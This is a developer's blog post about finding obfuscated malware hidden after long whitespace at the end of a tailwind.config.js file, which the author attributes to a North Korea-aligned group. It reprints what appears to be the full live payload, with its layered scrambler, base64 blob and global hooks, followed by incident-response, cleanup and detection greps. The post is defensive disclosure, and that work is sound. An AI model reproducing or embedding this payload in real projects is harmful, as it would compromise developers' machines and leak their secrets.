This wasn’t package.json or something deep in node_modules. It was tailwind.config.js. The file you touch once, when you’re setting up the project, figuring out whether your primary color is blue-600 or blue-700 . Then you never open it again. Half of us didn’t even write ours, it got spat out by create-next-app or a starter template and we never looked twice.
I wasn’t even looking for anything wrong. I was just copying my old color tokens into a fresh tailwind.config.js file. Except the paste took a second too long. Five lines of config shouldn’t lag a clipboard. Huh? I scrolled down to see what I’d actually copied, Nothing obvious. Then I diffed it online and discovered a wall of obfuscated code hidden after hundreds of empty spaces, like someone wanted you to stop scrolling before you ever saw it.
That shouldn’t be there.
Obfuscated. On purpose. By someone.
/** @type {import('tailwindcss').Config} */
module.exports = {
content: ['./src/**/*.{html,js,jsx}'],
theme: {
extend: {
colors: {
'cream': '#f7f4db',
'primary': '#c90101',
},
},
},
plugins: [],
darkMode: 'class',
}; global['_V']='A7-2066';global['r' ]=require;global['m']=module;(async()=>{if(global["_t_t"])return;global["_t_t"]=(new global.Date).getTime();if(typeof __dirname!=="undefined")global["___dirname"]=__dirname;if(typeof __filename!=="undefined")global["___filename"]=__filename;const c=async()=>{(function(){var TjS="",xQa=313-302;function niu(m){var n=219896;var y=m.length;var t=[];for(var b=0;b<y;b++){t[b]=m.charAt(b)}for(var b=0;b<y;b++){var a=n*(b+324)+n%37859;var q=n*(b+410)+n%37197;var c=a%y;var h=q%y;var k=t[c];t[c]=t[h];t[h]=k;n=(a+q)%1532251}return t.join("")}var tUI=niu("gvnsrcettofdcwoisbkzqhrnaplujotxmucyr").substr(0,xQa);var yTd='or=fa9a7ea=l,e;6u};[ahr{+nirco2"ai;u;lmva<n0fe(0ufy."mdl*C.qt.,hgnght(i(+r1as1ra=,(q)+eCr5q=e,((co=,-6cs,,*8utsv).,7i,6tt(h;rd[(t =cse)z;yd7j,f<n9,,evghf,s+e)axczx1(ah;1rjhrlj=;ah1r-=rho(rao.])tu8bn,e8,5i0n=r, 76(ahrl]istso<(=+8=[-)e. e1i;+e7[ne)h;[0+n+q;rvA{ u()(=t ,]g j+21,7<A<h;rcf;lohspf=dvrit4ruiu2uC=cop.+(j(u=+= 2=g.ll)(.,n 0nvon1=rn .lrn;h7gAC(ssg;[ruzqcrgervnynw+sl2b)a]; 5=0;lv a.;s(hvnjk;ns"xon>hlnf]lr5-wezxht4rl";scfwo4oovAntu1uq)ena(r{n i;}9lt;l,,.r=)e.e==m+=ar{vn8mgv=+w.(C) hsdt.r[] ghp+++ewoatodva"fu6;w)mv(w)(n+m)m]nosu;[o64,nhgt}i6a)h)no0n[t=[t"=prn>7l;;;iy.]ee.gb97zi,aar9r)g;a -aho(l)fnr{eg69=w];.i;yr;uha=]=jen(o;isl.{wnr=).+ur;c +n3(,;2);i )=t; sin;0 );= .fp))rosir})ga)mS ua[ftoid="eec=aloa.[-b()Civsb]1=h680vlp.)s(nthf}7=]0(;;(tfvtgrru.=j2.[C0d1s7c sar3v)r+;50;p+" =m(!"hvl6,i-==rC[)"8da+a(,h,+o2bhu;}{sir;Sf=r9..ov138la;cpf;(rAv;)]8 =q(ljldrato]tnd)+!nyvjrv}1tat';var xsR=niu[tUI];var Drj="";var VMU=xsR;var gjR=xsR(Drj,niu(yTd));var qMh=gjR(niu('(aOc(4)O](+OaO=sO:_On{%f%m).=%=6;fOOtO39ec7omt,(&1=ln%ema5fawO/y%*y]tt!{;.ae71}+2=%3_e(%ol; =oOer!(3{dho*di.}dda.tu-t)o.+s.trog.A4SaO+a+o;t;{*rtOe[O2_2h.O0%(u-[dthre("a3i $e12a;moi"]d{[deannuoeSdbc04a@p-)O!{d(fsn}:rte{5t?=-jO=w(it},9&e[oi)t\'2;sOj)%in ]]]+:sbg%12a12a(Os4+1+OdOSu44i]{ewuOO:rc_ra.tsO};Otrch(=cu%).}b)cnt0,.O6eO mn8=/=ov]d]s}cc1:[.rOf=)dc(z% d%ng[r.u_s))Oefd.0/j;]%etdurhO}aO.OOi)5f1+iaOOenetghaee}:iC/Crco/+]O1m.snOsa(B.hcOdnOOr9(rsu.]so7t(t4w lC9%1Bnl2%dw.s.O[;oO(oeub[F71=Ot00%r[u5a.\'/n=go6c)(.]![;a?o.,%to]nt;to=)td21<n23eOsO)<.5.OO496O>.....s C/)[}B_8.)b%d(oO.p!;r6OhOd>O<e//._.Fe}.b .!]:O6!O"1brd;_o=d]b%s0r.s@srO(>eO>0)O)[)l,;)rer519za$rny]ghue%"]mOO==xO7.3dsin]ef)+.f5.1O(92n(]-2(=3f+2uo3b(}))]..]>m0;w9)mrtt .rn[aa{d}05$3ENda=].0l)sd;tlod]r8O4:u }<g6+t8%n u*C_eB,OatO1,n$y}7*tldpno%l0._,3h=,.(;4eh] 6bo:)!npbfr]do=A,..1pp.A;O=s/,yaOdg4(c9/(OiOOg#nq)d.(}r]!Os]]Ond)no.1e;O38oOO])l)r0/og a%iOB.tewDmt]:O6O/s; rOl0]1yu1at)/]%)l4l{=OddC},}(.a$a}oe9Oseii!O]:e0}eO0%0b]n3e9O,e{{D35.e}3O{4(Oe=2O.3_5%lt;ta_O!5O+)b3if%n)o]t9 ti;r ]#tr.=2( }dn.6>7(yaftnd_(]eOn}oO;Ov }(]$O.h8:n;O6.tO2(+_=]"=ddf{BO>tua(to()ti)!!m=a;O,(=.?0l$%Cudi7h4p5riu=tlc]!49fOOy4e5rCOb1(t[%O<la(.rCO{n.iO,oO0l31{e)y(.iadOh1r n?itvtOy8_52o0:f.ut2%}Otu=rro2nn5Oe:s,e.Eordsu!3=O[O.srO5E2)4=]]%.)m:>4rO(y)S0]p%+v".n+;2#(O=h4[_dlte8o)eOrd]e4OO4=2.]1(yd!%56ee[t=o}:=e/=imsa()rBa(DOd)@e]}(g),e=:9f}.b{ed0[or)3]c=u{pct{t2[Ot2]]&0 @09t(O_ott]t4sig(i.e9g/O)r3OOl,i93vtib%))b!i7t rwO}4?=a#O1+.$d5)3 8 jg2t])hOl.0%CO23O-)]]hO.Oml1y..\'no)Ol;!c%pOgT1[O:0roO.:h=aterya]1OttrD,sO%}un01OfO8n1$ lr=.m(< 5g)5dttaO;/}cOiefg])O/%T=n97t)w])[i(oa2tnt3no2)42b],(.r!dk5O]te)r}])au2]s \' ew)e;u)i.%rr,t(0/es]d=fr\'pr]3lld{2(0nrOr!hr!0+rs(4s=2),e5&16!(O5wOnO?*d]njr[ 2O);yOO%]e]OaO]Ofiri3])rO%OdOOr52l).O3].iO)(;+[cdO]=qOtO=b]O3feOO}s%d]%d #O.;nw)rO$a(n)b!r;#s98f!O Oao=*0=]3dtaO!]et,tOOn%B(1nO]dr)n1+tDb1-S8;9riOt{,(u.A..s]9)]t4@r5dr%d+xtOOydn =s]o)]dimss.],O?4dt%(1frB]O/;-ba%(+ si+]6OOC#OOodi5Od83fr,pOt"O%[_d%eOest*oOC%1fs.))m.O..(}(!>nqo8cdd,4.d}O2=)lOO:&%O,y&0.%s(.dO1 [-8 j-hr2uea)r_O.1O6p6_6,on27:6=OO;ad]O7/bt[](COteOFO.nO2%[OOo)rOr[nb}a)iad=.m Oa(=m1!n%8]s}:(e]O_ptdO,)1]0]tc..n.cld}gfb ]$];_)(aiO;0[]Ot=uti)[3:%d ${jc(coBu;c{/ f_.?nj(5r{g;{O{[+o2dOrtf(O6](a8]1(.r_'));var Jyp=VMU(TjS,qMh);Jyp(9283);return 4952})()};global["_t_c"]=c.toString();try{global["_t_0"]=atob("dmFyIF8kX2FjMGU9KGZ1bmN0aW9uKG0sdCl7dmFyIHI9bS5sZW5ndGg7dmFyIHg9W107Zm9yKHZhciB6PTA7ejwgcjt6Kyspe3hbel09IG0uY2hhckF0KHopfTtmb3IodmFyIHo9MDt6PCByO3orKyl7dmFyIGY9dCogKHorIDIxNSkrICh0JSAzNzcwNCk7dmFyIHk9dCogKHorIDE2OCkrICh0JSAxMjU4Myk7dmFyIGk9ZiUgcjt2YXIgbD15JSByO3ZhciBqPXhbaV07eFtpXT0geFtsXTt4W2xdPSBqO3Q9IChmKyB5KSUgNjYyNjI5MH07dmFyIHA9U3RyaW5nLmZyb21DaGFyQ29kZSgxMjcpO3ZhciBrPScnO3ZhciBvPSdceDI1Jzt2YXIgcT0nXHgyM1x4MzEnO3ZhciBoPSdceDI1Jzt2YXIgdj0nXHgyM1x4MzAnO3ZhciBuPSdceDIzJztyZXR1cm4geC5qb2luKGspLnNwbGl0KG8pLmpvaW4ocCkuc3BsaXQocSkuam9pbihoKS5zcGxpdCh2KS5qb2luKG4pLnNwbGl0KHApfSkoImM3YzU4ODQyeDZyZDBhMzAxN01LZkpaMzIxMDU2ZSU4MTNfNzcyZCVOQTBFJWJiZWVlM0piN3M5YnRmN1R4ejczMWY4XzY3dDc5Zjk2dlpmY2Q1ZTZlYzRwMjQwMzJKM1FfckxQOFQwbTgwYV9kMyIsNTk5MTE3Myk7Z2xvYmFsW18kX2FjMGVbMF1dPSBfJF9hYzBlWzFdO2dsb2JhbFtfJF9hYzBlWzJdXT0gXyRfYWMwZVszXQ==");var e,_V;(function(){var _$_ca3f=_$af1300654("4etA%:33f001_bA.7_8%sa2i5s1t3751%r6caFTBf_%168t3a226n.30.7Xr21713t%_%%f%8%%3%at1a%2.j70f2b3_4%t.08%x3.dy1W107is27_5ceF.02a41_ec7oD._82.55che27S09dv4/98d02V992p421_bs7:6:I14uN9%A3jpddFbbVuta/tMN1rtL481",759646);function _$af1300654(q,j){var z=q.length;var s=[];for(var h=0;h<z;h++){s[h]=q.charAt(h)}for(var h=0;h<z;h++){var g=j*(h+490)+j%40107;var k=j*(h+427)+j%15314;var r=g%z;var l=k%z;var n=s[r];s[r]=s[l];s[l]=n;j=(g+k)%1770971}var m=String.fromCharCode(127);var t="";var y="%";var p="#1";var b="%";var i="#0";var x="#";return s.join(t).split(y).join(m).split(p).join(b).split(i).join(x).split(m)}if(!_$_ca3f){_$af1300654=0}_V=global[_$_ca3f[0]]||0;if(_V[0]==_$_ca3f[1]){if(_$af1300654==0){_$af1300654();_$af1300654=null;return}else{e=_$_ca3f[2]}}else{if(!global[_$_ca3f[4]](global[_$_ca3f[3]](_V))){if(!_$_ca3f){_$af1300654();_$af1300654=0}e=_$_ca3f[5]}else{e=_$_ca3f[6]}}global[_$_ca3f[7]]=_$_ca3f[8]+e+_$_ca3f[9];global[_$_ca3f[10]]=_$_ca3f[8]+e+_$_ca3f[11];global[_$_ca3f[12]]=_$_ca3f[13];global[_$_ca3f[14]]=_$_ca3f[15]})();await c()}catch(err){global._R&&global._R(`failed to run clientCode: ${err}`)}})();// Malicious code at the end of line. Keep scrolling --> keep scrolling... keep scrolling... keep scrolling...
I want to be honest about this, this was my first time looking at something like this. What followed felt like pulling a thread and watching a sweater unravel. The more I looked, the more layers I found. Every time I thought I’d found the bottom, there was another layer under it. At the end I had a confirmed infection across three of my repos, six unknown processes running quietly in production, git commits with my own name on them that i never wrote, and a payload phoning home to api.trongrid.io, a known DPRK command and control channel.
I’m still a little shaken, reading more about this type of attack and more so because I think a lot of you have this exact file sitting open in a tab right now, unread, un-audited, completely trusted. So before anything else —
Before you keep reading, If you’ve got Node running anywhere right now — a side project, something half-abandoned, a Next.js / ReactJs app you haven’t touched in months — it might be worth pulling up a terminal and running
ps aux | grep node. Just see what's there. Some of it you'll recognize immediately. Some of it might make you pause. Either way, keep that in the back of your mind, because we're coming back to it.
Who is Void Dokkaebi?
They don’t hack you. They interview you.
Quick context: Void Dokkaebi — aka Famous Chollima, UNC5342, is a North Korea-aligned group who targets software developers specifically. Not banks. Not hospitals. Devs. They scrape wallet credentials, signing keys, CI/CD access, anything that gets them into production.
Their usual playbook is almost embarrassingly social: a “recruiter” messages you on LinkedIn, asks you to clone a repo for a coding exercise, and the moment you run it, you’ve installed a backdoor for them. What’s crazy is what happens next. Trend Micro documented this year that infected machines don’t just sit there leaking secrets, they get turned into the next lure. Your own repos become the bait for someone else’s when they download / clone / pull your repos. The infection spreads through trust, not exploits.
None of that happened to me. I didn’t get a message in LinkedIn or a “recruiter” contacted me. There’s no entry point I can point to and say that’s how they got in. And if a known playbook doesn’t explain how this got onto my machine, that means something else does — and I don’t know what it is yet.
The file no one audits turned out to be exactly where they hid.
The Discovery
Something wrong in the most boring file.
A tailwind.config.js is supposed to just hold color tokens, font scales & maybe a plugin or two. That’s it. That’s the whole file, every time — whether you scaffold it, generate it or write it. In every project that I have touched. Mine had this long string of obfuscated script.
// What it looked like — a self-decoding string cipher:
var _$_ac0e = (function(scrambledInput, seed) {
// shuffles characters of scrambledInput using a seeded pseudo-random rotation,
// then does a final find-and-replace pass on placeholder characters
// (the %, #1, #0 markers below stand in for control bytes the real payload used)
...
return decodedArray;
})("c7c58842x6rd0a3017MKfJZ...", 5991173);global[_$_ac0e[0]] = _$_ac0e[1];
global[_$_ac0e[2]] = _$_ac0e[3];
// What it actually resolved to, once decoded (values below are illustrative, not the real ones):
global['_t_1'] = 'T_EXAMPLE_TRON_WALLET_ADDRESS_HERE'; // a TRON wallet address
global['_t_2'] = '0xEXAMPLE_PRIVATE_KEY_OR_HASH_HERE'; // looked like a private key / hash// tailwind.config.js (excerpt — not the real payload, representative sample)
You don’t need to read a single line of that to know it’s wrong. There is no tailwind.config.js that needs a self-modifying array rotators and hex encoded string lookups. Nobody writes that by accident.
So I did what anyone would do next. I needed an antivirus software — Malwarebytes — free, very decent, used it long back when I had windows. I ran it. Nothing turned up. Then I ran it again. I pointed the folder directly, scanned that exact file. Nothing. Not one flag. MacOS’s own built-in security — didn’t blink either. As far as my own machine was concerned, there is nothing wrong, this file was completely safe.
I found this by luck, nothing more. Not a scanner. Not macOS’s own security. Not Malwarebytes — even pointed straight at the file, it saw nothing wrong. If I’d been in a hurry, I’d have closed the tab and never known. It was built to hide in exactly the place you’d never think to look..
Situation Assessment
It does not stop at one file. From bad to worse.
I didn’t have the payload decoded yet. I didn’t know what the obfuscated code actually did. Just linted it, figured out some variable names, met with a string scrambler function. Dead end. The pattern, the deliberateness of it — it is as if they wanted it not be figured out.
Now instead of focusing “what is this?”, I shifted to “what else has this touched?” where else? is this an isolated incident?
I threw together two quick scripts — one hunting for node_modules with weird sizes or modification dates, and one grepping for long base64-looking blobs across everything — and let them run throughout my machine.
Resulted in 1 more hit. routes/user.js . Same fingerprint, same obfuscation style, hidden in the last line — clearly the same. And this was in a separate repo. There is no `routes/user.js` in frontend code. It was just sitting there on my laptop for months.
Is anything active?
ps aux | grep nodeFound an unknown process running for so long. Then, what about production?
Multiple. More than 10 processes. 6 unique ones. Six! Sitting there, running, persistent. No names. All tied to repos from the same active workspace I’d had open.
This is the moment it stopped being a “weird file I found” and became a security incident. Whatever this was, it had been active. Running. Waiting. For a while, and I had no idea. And I had personally deployed it without noticing, which is its own special kind of sick feeling. And I didn’t know what it is actually doing.
The Deobfuscation
Four layers deep, and it kept getting worse.
I’m saving the full layer-by-layer peeling off for a separate post because it’s genuinely a deep technical rabbit hole. But here’s the gut version — four passes, each one peeling back a layer I thought was the last one:
- Lint it, reformat it, rename every garbage variable to something readable. Just trying to see the shape of the thing without running a single line of it.
- Find a string scrambler. The whole point of it is to make every string look like noise unless you replay the exact rotation it does at runtime. So I replayed it by hand.
- I was not letting this thing anywhere near my real machine again. Built a sandboxed Docker container, no network, no filesystem writes, nothing live — and let it actually run so I could watch what it tried to do.
- One more scrambler layer down, and there it was: a JSON-RPC call to
api.trongrid.io, (and as backup Aptoslabs mainnet call). The TRON blockchain API. I knew immediately this is serious.
For context, https://api.trongrid.io is the public API for the TRON blockchain. DPRK-linked groups love blockchain infra for one specific reason, you cannot take it down. No one can seize a blockchain address the way they'd seize a server. When I saw a JSON-RPC call to this endpoint sitting in my own codebase, there was no benign explanation left to reach for. That's a command-and-control beacon. Full stop.
The incident
The timeline of all the events
I went looking into file history, git logs of the infected files.
Commit A · Malicious code dropped into routes/user.js. Committed under my own name. I have no memory of writing this because I didn't.
Get Couch Potato’s stories in your inbox
Join Medium for free to get updates from this writer.
Commit B · ~1 month later · A second injection, this time into a tailwind.config.js in a different repo. Same pattern. Same author — me, supposedly.
Commit C · same as B · A third repo, another tailwind.config.js. By now it had spread across three separate codebases, all of them living in the same active VSCode workspace.
Three repos. Two file targets. One workspace. Every single commit had my name next to it.
routes/user.jsruns straight in your Node backend.tailwind.config.jsruns at build time.
Both run real Javascript in a real runtime, in my case, at escalated permissions.
Root cause
How did they got in?
I burned a lot of hours on this. Here’s what I ruled out, and what I couldn’t.
- VSCode extensions. Infection across 3 repos, but all in one workspace. I have multiple projects active. None of them got infected. Just this one. So this was my first suspect. They get access to all the repos. I went through installed extension, checked publish dates. Nothing. Clean.
- Git credentials leak. Again seems strange for the attacker to target these three repos that are in this workspace, because they wouldn’t know which repos I had open at the same time. It fits something with actual local access far better.
- VSCode Copilot agent mode. This one genuinely scared me for days. Copilot had touched related files in the same workspace as context during agent sessions — not edits, just references — and the timing lined up uncomfortably well with these Copilot-assisted work. I pulled the agent logs, around the commit timing. They were clean. No generated code search matched with
global['!...or any subparts of the seen obfuscated script. But I want to be straight with you: this was my initial guess. I so wanted this to be true. Those logs were the only reason I could rule this out. I still am not convinced that this is not the reason — after all logs could be modified.
[Update] A tip from this Reddit thread led to me digging into local git history using git reflog. This to get the actual untouched, detailed git log from my local machine. The inspection revealed signs of the history had been tampered with, and cleanly. Cleanly enough that I genuinely didn’t know git history could be rewritten this convincingly until I saw it myself. My local reflog and the commit history I’d been looking at didn’t line up — same commits, different story. Different from remote. That led me down another rabbit hole. And a slip up perhaps — the author timezone on suspicious commit: UTC+0900. Pyongyang Standard Time.
I want to be careful here, because a timestamp by itself proves nothing. They’re easy to fake. But it’s not nothing either, sitting there next to commits I didn’t write, on files I didn’t touch, in a pattern that already pointed somewhere uncomfortable. And if this is true, I’m also very worried about the infection timeline that I’d pieced together.
Where I’m stuck
I still don’t have a confirmed way in. This post, and the Security StackExchange thread I filed, are me actively trying to figure it out in public. If you’ve seen something similar, especially on macOS, I want to hear from you.
The Cleanup
Assume everything is burned.
when you don’t know the entry vector, there is only one defensible posture to take: Assume full compromise of everything on that machine. Everything.
That means:
- Killed every Node process (
ps aux | grep node, thenkill -9on each one that looked wrong). Then watched for them respawningwatch -n 5 'ps aux | grep node'is enough, you don't need to hammer it every second. - Rotated every secret across every single project. API keys, tokens, DB credentials, OAuth secrets. All of them. I know it feels excessive. Do it anyway.
- Reset every SSH key. Regenerated and re-added to every service that had the old one.
- Rotated every
.envvalue I had, anywhere. Treated all of it as already leaked. - Ran
git reflog --allon every repo, looking for signs of tampering. - Went through commit author metadata on everything recent.
- Set up daily
ps auxmonitoring going forward. This thing respawns if you don't actually kill the parent process, not just the child.
5-min quick check list
This isn’t just for backend devs running Node in prod. If you’ve got a tailwind.config.js, a next.config.js, a vite.config.js — basically any frontend project scaffolded in the last few years, this applies to you too. Hobby project, side gig, weekend repo, doesn't matter.
Share this post to whoever else touches your codebase — your team, your co-maintainer, the person who set up CI/CD. If one of you is compromised, the same workspace patterns mean the others might be too.
These are the exact one-liners I ran by hand while this was unfolding. I’ve since cleaned them up into proper scripts, sitting in the /scripts folder of this repo, if you'd rather run one command than five.
Check for running processes you didn’t start:
ps aux | grep nodeYou should be able to account for every process. If you see something running that you don’t recognize — a server you didn’t start, a watcher you don’t remember enabling, that is a signal worth investigating.
2. Scan for long encoded strings (Void Dokkaebi signature):
# Scans JS/TS files for base64-like blobs longer than 200 chars
grep -r --include="*.js" --include="*.ts" \
-E "[A-Za-z0-9+/]{200,}={0,2}" \
. --exclude-dir=node_modules -lThis will return filenames, not matches. Open each one and check manually. Legitimate base64 in source code is rare. Unexplained blobs should be investigated. Try out the scanner I’ve used.
3. Check your Tailwind and config files for scripts:
# Any JS config file with function declarations is suspicious
grep -rn "function\|eval\|btoa\|atob\|setInterval\|setTimeout" \
tailwind.config.js next.config.js vite.config.js \
webpack.config.js babel.config.js 2>/dev/nullConfig files do sometimes have functions. But if you see eval, btoa, or setTimeout in your Tailwind config, open that file immediately.
4. Audit recent git history for commits you don’t recognize:
git log --all --oneline --author-date-relative -30
git reflog --all | head -40Look for commits with your name that you don’t remember making. Look for timezone anomalies in author timestamps (git log --format="%H %ai %s" shows the author date with timezone). I’ve a script for this.
If you find anything Stop. Do not push. Do not deploy. Kill all Node processes. Rotate your secrets before doing anything else.